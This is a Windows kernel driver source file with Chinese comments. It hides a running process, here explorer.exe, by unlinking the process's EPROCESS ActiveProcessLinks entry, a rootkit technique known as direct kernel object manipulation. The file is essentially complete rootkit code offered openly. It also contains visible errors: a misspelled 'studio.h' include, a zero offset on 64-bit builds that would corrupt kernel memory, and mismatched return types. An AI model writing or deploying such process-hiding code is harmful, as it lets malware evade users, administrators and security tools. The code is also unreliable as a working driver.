#include <ntifs.h>

//#include <ntddk.h>

//#include <Ntstrsafe.h>

#include<studio.h>

NTKERNELAPI UCHAR \*PsGetProcessImageFileName(PEPROCESS Process);

#ifndef MAX\_PATH

#define MAX\_PATH 260

#endif

DWORD g\_OsVersion; //系统版本

//操作系统版本

#define WINXP 51

#define WIN7 61

#define WIN8 62

#define WIN81 63

#define WIN10 100

//获取系统版本

BOOLEAN GetOsVer(void);

ULONG\_PTR EprocessActiveProcessLinks;

//获取ActiveProcessLinks

ULONG\_PTR GetEprocessActiveProcessLinks();

//隐藏进程

NTSTATUS HideProcess(ULONG Processid);

//获取进程Processid

ULONG GetProcessProcessid(char\* pProcessName);

VOID DriverUnload(IN PDRIVER\_OBJECT DriverObject)

{

return;

}

NTSTATUS DriverEntry(IN PDRIVER\_OBJECT DriverObject, IN PUNICODE\_STRING RegistryPath)

{

NTSTATUS status;

DriverObject->DriverUnload = DriverUnload;

DbgBreakPoint();

HideProcess(GetProcessProcessid("explorer.exe"));

return STATUS\_SUCCESS;

}

//隐藏进程

NTSTATUS HideProcess(ULONG Processid)

{

//定义变量

KIRQL Kirql;

PLIST\_ENTRY plistprocsTarge = NULL;

PLIST\_ENTRY plistprocsSource = NULL;

NTSTATUS status;

PEPROCESS Process = NULL;

//参数效验

if (Processid <= 4)return STATUS\_UNSUCCESSFUL;

//获取系统

if (GetOsVer() == FALSE)return STATUS\_UNSUCCESSFUL;

//获取ActiveProcessLinks

if (EprocessActiveProcessLinks == NULL)

{

EprocessActiveProcessLinks = GetEprocessActiveProcessLinks();

if (EprocessActiveProcessLinks == NULL)return STATUS\_UNSUCCESSFUL;

}

//获取PEPROCESS

status = PsLookupProcessByProcessId(Processid, &Process);

if (NT\_SUCCESS(status))

{

plistprocsSource = (PLIST\_ENTRY)((ULONG\_PTR)Process + EprocessActiveProcessLinks);

Kirql = KeRaiseIrqlToDpcLevel();

//\*((PULONG\_PTR)plistprocsSource->Blink) = (ULONG\_PTR)plistprocsSource->Flink;

//\*((PULONG\_PTR)plistprocsSource->Flink + 1) = (ULONG\_PTR)plistprocsSource->Blink;

RemoveEntryList(plistprocsSource);

InitializeListHead(plistprocsSource);

KeLowerIrql(Kirql);

ObfDereferenceObject(Process);

}

return status;

}

//获取ActiveProcessLinks

ULONG\_PTR GetEprocessActiveProcessLinks()

{

//\_EPROCESS

#ifdef \_WIN64

EprocessActiveProcessLinks = 0x00;

#else

switch (g\_OsVersion)

{

case WINXP:

EprocessActiveProcessLinks = 0x088;

break;

case WIN7:

case WIN8:

case WIN81:

case WIN10:

EprocessActiveProcessLinks = 0x0b8;

break;

default:

break;

}

#endif

return EprocessActiveProcessLinks;

}

//获取进程Processid

ULONG GetProcessProcessid(char\* pProcessName)

{

//参数效验

if (MmIsAddressValid(pProcessName) == FALSE)return NULL;

//定义变量

PEPROCESS pEprocess = NULL;

NTSTATUS ntstatus = STATUS\_SUCCESS;

UCHAR \*szProcessName = NULL;

ULONG Processid = 0;

for (int i = 4; i < 10000; i = i + 4) //一般来说没有超过100000的PID和TID

{

//进程ID和返回一个引用指针的过程EPROCESS结构

ntstatus = PsLookupProcessByProcessId((HANDLE)i, &pEprocess);

if (NT\_SUCCESS(ntstatus))//STATUS\_INVALID\_CID

{

if (pEprocess != NULL)

{

//比较进程名

szProcessName = PsGetProcessImageFileName(pEprocess);

if (szProcessName)

{

if (\_stricmp((char\*)szProcessName, pProcessName) == 0)

{

ObfDereferenceObject(pEprocess);

return (HANDLE)i;

}

}

}

ObfDereferenceObject(pEprocess);

}

}

return NULL;

}

//获取系统版本

BOOLEAN GetOsVer(void)

{

ULONG dwMajorVersion = 0;

ULONG dwMinorVersion = 0;

PsGetVersion(&dwMajorVersion, &dwMinorVersion, NULL, NULL);

if (dwMajorVersion == 5 && dwMinorVersion == 1)

g\_OsVersion = WINXP;

else if (dwMajorVersion == 6 && dwMinorVersion == 1)

g\_OsVersion = WIN7;

else if (dwMajorVersion == 6 && dwMinorVersion == 2)

g\_OsVersion = WIN8;

else if (dwMajorVersion == 6 && dwMinorVersion == 3)

g\_OsVersion = WIN81;

else if (dwMajorVersion == 10 && dwMinorVersion == 0)

g\_OsVersion = WIN10;

else

{

g\_OsVersion = 0;

KdPrint(("未知版本"));

return FALSE;

}

return TRUE;

}